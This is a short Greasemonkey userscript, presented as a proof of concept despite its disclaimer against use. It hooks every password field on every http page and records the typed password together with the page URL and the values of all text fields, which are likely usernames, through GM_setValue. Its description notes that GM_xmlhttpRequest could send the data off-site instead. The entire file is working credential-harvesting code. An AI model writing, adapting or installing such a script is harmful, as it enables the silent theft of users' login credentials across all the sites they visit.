// ==UserScript==
// @name          The Most Horrible
// @namespace     http://www.rhyley.org/gm/
// @description	  For any password element on any page, store the value of the element with GM_setValue. GM_xmlhttpRequest could easily be used instead. Scary.
// @include       http://*
//
// This is a proof of concept. This code is in no way to be used by anyone, anywhere, at any time.
//
// ==/UserScript==

(function() {
	
	function setUsUpTheBomb() {

		var allPW, thisPW;
		allPW = document.evaluate(
		    "//input[@type='password']",
		    document,
		    null,
		    XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,
		    null);

		for (var i = 0; i < allPW.snapshotLength; i++) {
		    thisPW = allPW.snapshotItem(i);
		    thisPW.setAttribute('onchange','theMostHorrible(this.value)');
		}
	}

	window.theMostHorrible = function theMostHorrible(value) {
		if (value) {
			var allText, thisText;
			allText = document.evaluate(
			    "//input[@type='text']",
			    document,
			    null,
			    XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,
			    null);
			var text = '';
			for (var i = 0; i < allText.snapshotLength; i++) {
			    thisText = allText.snapshotItem(i);
			    text += '/' + thisText.value;
			}
			
			GM_setValue(location.href + text, value);
		}
	}
	
	setUsUpTheBomb();
}
)();